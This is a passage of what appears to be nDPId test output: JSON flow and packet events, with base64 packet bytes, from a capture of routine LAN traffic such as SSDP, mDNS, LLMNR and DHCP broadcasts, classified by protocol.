+00809{"flow_id":4,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":792,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104397,"pkt_ts_usec":92033,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/TF4M6gNlCABFAAFIAAAAABARcfzAqHcB\/\/\/\/\/wBDAEQBNEtlAgEGAPwPedgAAIAAwKgFCQAAAADAqHcBAAAAAHDxofgq\/QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEFNgTAqHcBAQT\/\/wAAAwTAqHcBBhCoXwEBCAgICKhfwAEICAQE\/wAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00579{"flow_id":57,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":793,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104397,"pkt_ts_usec":192245,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6uKxvwfbSCABFAAChJ1QAAAERfDTAqGUh7\/\/\/+ti9B2wAjWL8TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00579{"flow_id":58,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":794,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104397,"pkt_ts_usec":193096,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6cPGh+Cr9CABFAAChAzcAAAERAGrAqAUJ7\/\/\/+ti8B2wAjcMVTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00584{"flow_id":59,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":798,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104397,"pkt_ts_usec":396994,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/66LH8q\/uyCABFAAClCfAAAAQR9oTAqAUx7\/\/\/+sn4B2wAkYV1TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":803,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":82,"flow_packet_id":1,"flow_first_seen":1470104397807,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.48","dst_ip":"239.255.255.250","src_port":49701,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00583{"flow_id":82,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":803,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104397,"pkt_ts_usec":807877,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6bEAIlAI6CABFAAClrzIAAAERVEPAqAUw7\/\/\/+sIlB2wAkY1JTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00511{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":803,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":82,"flow_packet_id":1,"flow_first_seen":1470104397807,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.48","dst_ip":"239.255.255.250","src_port":49701,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":810,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":83,"flow_packet_id":1,"flow_first_seen":1470104398314,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"68.233.253.133","src_port":53605,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00415{"flow_id":83,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":810,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104398,"pkt_ts_usec":314933,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"TF4M6gNlYMVHBbyMCABFAAAoA95AAEAGLsvAqAUQROn9hdFlAFAG4xw4xV6fSlAUEAE+LgAA8Q52cgJF"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":812,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":84,"flow_packet_id":1,"flow_first_seen":1470104398832,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.64","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00448{"flow_id":84,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":812,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104398,"pkt_ts_usec":832807,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD7ZMwunDzJCABFAABEo69AAP8RMRXAqAVA4AAA+xTpFOkAMOS\/AAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} +00547{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":812,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":84,"flow_packet_id":1,"flow_first_seen":1470104398832,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.64","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_googlecast._tcp.local"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":813,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":85,"flow_packet_id":1,"flow_first_seen":1470104398932,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.186","dst_ip":"255.255.255.255","src_port":32768,"dst_port":1947,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00460{"flow_id":85,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":813,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104398,"pkt_ts_usec":932814,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"\/\/\/\/\/\/\/\/AAK2Qbs6CABFAABEAABAAEARd0fAqAK6\/\/\/\/\/4AAB5sAMBr8aWNSVlNvVTlBQUJYWldKRFlXeHNBSFZ0Ukc5c2IzSlRhWFJCYldVQQ=="} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":820,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":86,"flow_packet_id":1,"flow_first_seen":1470104399652,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.48","dst_ip":"224.0.0.252","src_port":59797,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":86,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":820,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104399,"pkt_ts_usec":652689,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"AQBeAAD8bEAIlAI6CABFAAA4QZsAAAER0UXAqAUw4AAA\/OmVFOsAJO3eTL0AAAABAAAAAAAACkthc3Blci1tYWMAAP8AAQ=="} +00505{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":820,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":86,"flow_packet_id":1,"flow_first_seen":1470104399652,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.48","dst_ip":"224.0.0.252","src_port":59797,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":824,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":87,"flow_packet_id":1,"flow_first_seen":1470104399854,"flow_last_seen":0,"flow_tot_l4_data_len":108,"flow_min_l4_data_len":108,"flow_max_l4_data_len":108,"flow_avg_l4_data_len":108,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.100","dst_ip":"255.255.255.255","src_port":50925,"dst_port":5678,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00543{"flow_id":87,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":824,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104399,"pkt_ts_usec":854544,"pkt_caplen":142,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":142,"pkt_l4_len":108,"pkt":"\/\/\/\/\/\/\/\/TF4M6gOICABFAACAAABAAEAReWHAqABk\/\/\/\/\/8btFi4AbOgXAACpHQABAAZMXgzqA4gABQAFNE1OQVQABwAPNi4zNS4xIChzdGFibGUpAAgACE1pa3JvVGlrAAoABIOWJAAACwAJTjUzOC1HMDRVAAwABlJCNDUwRwAOAAEAABAABmV0aGVyMg=="} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":825,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":88,"flow_packet_id":1,"flow_first_seen":1470104399958,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.57","dst_ip":"224.0.0.252","src_port":65150,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00429{"flow_id":88,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":825,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104399,"pkt_ts_usec":958731,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"AQBeAAD8GF4PUugBCABFAAA2MRAAAAER4cnAqAU54AAA\/P5+FOsAIr4lNLsAAAABAAAAAAAACFVzaGVyLVBDAAD\/AAE="} +00505{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":825,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":88,"flow_packet_id":1,"flow_first_seen":1470104399958,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.57","dst_ip":"224.0.0.252","src_port":65150,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":826,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":89,"flow_packet_id":1,"flow_first_seen":1470104399959,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::e034:7be:d8f9:6197","dst_ip":"ff02::1:3","src_port":62756,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00461{"flow_id":89,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":826,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104399,"pkt_ts_usec":959547,"pkt_caplen":91,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":91,"pkt_l4_len":37,"pkt":"MzMAAQADuKxv2MGbht1gAAAAACURAf6AAAAAAAAA4DQHvtj5YZf\/AgAAAAAAAAAAAAAAAQAD9SQU6wAlorgrvQAAAAEAAAAAAAALY2hhcm1pbmctUEMAAP8AAQ=="} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":826,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":89,"flow_packet_id":1,"flow_first_seen":1470104399959,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::e034:7be:d8f9:6197","dst_ip":"ff02::1:3","src_port":62756,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":827,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":90,"flow_packet_id":1,"flow_first_seen":1470104399959,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.50","dst_ip":"224.0.0.252","src_port":62756,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":90,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":827,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104399,"pkt_ts_usec":959775,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"AQBeAAD8uKxv2MGbCABFAAA5S7YAAAERxyfAqAUy4AAA\/PUkFOsAJRvtK70AAAABAAAAAAAAC2NoYXJtaW5nLVBDAAD\/AAE="} +00505{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":827,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":90,"flow_packet_id":1,"flow_first_seen":1470104399959,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.50","dst_ip":"224.0.0.252","src_port":62756,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00582{"flow_id":6,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":828,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104399,"pkt_ts_usec":959814,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6uKxv2MGbCABFAAClQRYAAAQRv13AqAUy7\/\/\/+vyiB2wAkVLKTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00428{"flow_id":88,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":831,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104400,"pkt_ts_usec":59244,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"AQBeAAD8GF4PUugBCABFAAA2MRIAAAER4cfAqAU54AAA\/P5+FOsAIr4lNLsAAAABAAAAAAAACFVzaGVyLVBDAAD\/AAE="} +00431{"flow_id":86,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":832,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104400,"pkt_ts_usec":59395,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"AQBeAAD8bEAIlAI6CABFAAA4rMMAAAERZh3AqAUw4AAA\/OmVFOsAJO3eTL0AAAABAAAAAAAACkthc3Blci1tYWMAAP8AAQ=="} +00578{"flow_id":7,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":833,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104400,"pkt_ts_usec":59456,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6SNIkYwreCABFAAChfjEAAAERhU\/AqAUp7\/\/\/+tgQB2wAjcOhTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":834,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":91,"flow_packet_id":1,"flow_first_seen":1470104400162,"flow_last_seen":0,"flow_tot_l4_data_len":528,"flow_min_l4_data_len":528,"flow_max_l4_data_len":528,"flow_avg_l4_data_len":528,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.49","dst_ip":"239.255.255.250","src_port":1900,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01096{"flow_id":91,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":834,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104400,"pkt_ts_usec":162264,"pkt_caplen":562,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":562,"pkt_l4_len":528,"pkt":"AQBef\/\/66LH8q\/uyCABFAAIkCfEAAAQR9QTAqAUx7\/\/\/+gdsB2wCELIPTk9USUZZICogSFRUUC8xLjENCkhvc3Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpOVDogdXJuOm1pY3Jvc29mdC5jb206c2VydmljZTpYX01TX01lZGlhUmVjZWl2ZXJSZWdpc3RyYXI6MQ0KTlRTOiBzc2RwOmFsaXZlDQpMb2NhdGlvbjogaHR0cDovLzE5Mi4xNjguNS40OToyODY5L3VwbnBob3N0L3VkaGlzYXBpLmRsbD9jb250ZW50PXV1aWQ6OTMxOTM5NWEtNGQwMy00NzUwLWJiMWItNDY2MzkzM2FiODEyDQpVU046IHV1aWQ6OTMxOTM5NWEtNGQwMy00NzUwLWJiMWItNDY2MzkzM2FiODEyOjp1cm46bWljcm9zb2Z0LmNvbTpzZXJ2aWNlOlhfTVNfTWVkaWFSZWNlaXZlclJlZ2lzdHJhcjoxDQpDYWNoZS1Db250cm9sOiBtYXgtYWdlPTkwMA0KU2VydmVyOiBNaWNyb3NvZnQtV2luZG93cy8xMC4wIFVQblAvMS4wIFVQblAtRGV2aWNlLUhvc3QvMS4wDQpPUFQ6Imh0dHA6Ly9zY2hlbWFzLnVwbnAub3JnL3VwbnAvMS8wLyI7IG5zPTAxDQowMS1OTFM6IGQwN2I0MzVkMjk5YjQxNzg0Y2EzZDJhZTJiOTU5OTQ4DQoNCg=="} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":834,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":91,"flow_packet_id":1,"flow_first_seen":1470104400162,"flow_last_seen":0,"flow_tot_l4_data_len":528,"flow_min_l4_data_len":528,"flow_max_l4_data_len":528,"flow_avg_l4_data_len":528,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.49","dst_ip":"239.255.255.250","src_port":1900,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":835,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":92,"flow_packet_id":1,"flow_first_seen":1470104400162,"flow_last_seen":0,"flow_tot_l4_data_len":536,"flow_min_l4_data_len":536,"flow_max_l4_data_len":536,"flow_avg_l4_data_len":536,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::9bd:81dd:2fdc:5750","dst_ip":"ff02::c","src_port":1900,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01131{"flow_id":92,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":835,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104400,"pkt_ts_usec":162411,"pkt_caplen":590,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":590,"pkt_l4_len":536,"pkt":"MzMAAAAM6LH8q\/uyht1gAAAAAhgRBP6AAAAAAAAACb2B3S\/cV1D\/AgAAAAAAAAAAAAAAAAAMB2wHbAIYYQNOT1RJRlkgKiBIVFRQLzEuMQ0KSG9zdDogW0ZGMDI6OkNdOjE5MDANCk5UOiB1cm46bWljcm9zb2Z0LmNvbTpzZXJ2aWNlOlhfTVNfTWVkaWFSZWNlaXZlclJlZ2lzdHJhcjoxDQpOVFM6IHNzZHA6YWxpdmUNCkxvY2F0aW9uOiBodHRwOi8vW2ZlODA6OjliZDo4MWRkOjJmZGM6NTc1MF06Mjg2OS91cG5waG9zdC91ZGhpc2FwaS5kbGw\/Y29udGVudD11dWlkOjkzMTkzOTVhLTRkMDMtNDc1MC1iYjFiLTQ2NjM5MzNhYjgxMg0KVVNOOiB1dWlkOjkzMTkzOTVhLTRkMDMtNDc1MC1iYjFiLTQ2NjM5MzNhYjgxMjo6dXJuOm1pY3Jvc29mdC5jb206c2VydmljZTpYX01TX01lZGlhUmVjZWl2ZXJSZWdpc3RyYXI6MQ0KQ2FjaGUtQ29udHJvbDogbWF4LWFnZT05MDANClNlcnZlcjogTWljcm9zb2Z0LVdpbmRvd3MvMTAuMCBVUG5QLzEuMCBVUG5QLURldmljZS1Ib3N0LzEuMA0KT1BUOiJodHRwOi8vc2NoZW1hcy51cG5wLm9yZy91cG5wLzEvMC8iOyBucz0wMQ0KMDEtTkxTOiBkMDdiNDM1ZDI5OWI0MTc4NGNhM2QyYWUyYjk1OTk0OA0KDQo="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":835,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":92,"flow_packet_id":1,"flow_first_seen":1470104400162,"flow_last_seen":0,"flow_tot_l4_data_len":536,"flow_min_l4_data_len":536,"flow_max_l4_data_len":536,"flow_avg_l4_data_len":536,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::9bd:81dd:2fdc:5750","dst_ip":"ff02::c","src_port":1900,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00578{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":838,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104400,"pkt_ts_usec":264969,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6GF4PUugBCABFAAChMRMAAAER0l3AqAU57\/\/\/+toBB2wAjcGgTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00433{"flow_id":90,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":839,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104400,"pkt_ts_usec":366719,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"AQBeAAD8uKxv2MGbCABFAAA5S7cAAAERxybAqAUy4AAA\/PUkFOsAJRvtK70AAAABAAAAAAAAC2NoYXJtaW5nLVBDAAD\/AAE="} +01076{"flow_id":91,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":840,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104400,"pkt_ts_usec":366790,"pkt_caplen":548,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":548,"pkt_l4_len":514,"pkt":"AQBef\/\/66LH8q\/uyCABFAAIWCfIAAAQR9RHAqAUx7\/\/\/+gdsB2wCAmnTTk9USUZZICogSFRUUC8xLjENCkhvc3Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpOVDogdXJuOnNjaGVtYXMtdXBucC1vcmc6c2VydmljZTpDb25uZWN0aW9uTWFuYWdlcjoxDQpOVFM6IHNzZHA6YWxpdmUNCkxvY2F0aW9uOiBodHRwOi8vMTkyLjE2OC41LjQ5OjI4NjkvdXBucGhvc3QvdWRoaXNhcGkuZGxsP2NvbnRlbnQ9dXVpZDo5MzE5Mzk1YS00ZDAzLTQ3NTAtYmIxYi00NjYzOTMzYWI4MTINClVTTjogdXVpZDo5MzE5Mzk1YS00ZDAzLTQ3NTAtYmIxYi00NjYzOTMzYWI4MTI6OnVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6Q29ubmVjdGlvbk1hbmFnZXI6MQ0KQ2FjaGUtQ29udHJvbDogbWF4LWFnZT05MDANClNlcnZlcjogTWljcm9zb2Z0LVdpbmRvd3MvMTAuMCBVUG5QLzEuMCBVUG5QLURldmljZS1Ib3N0LzEuMA0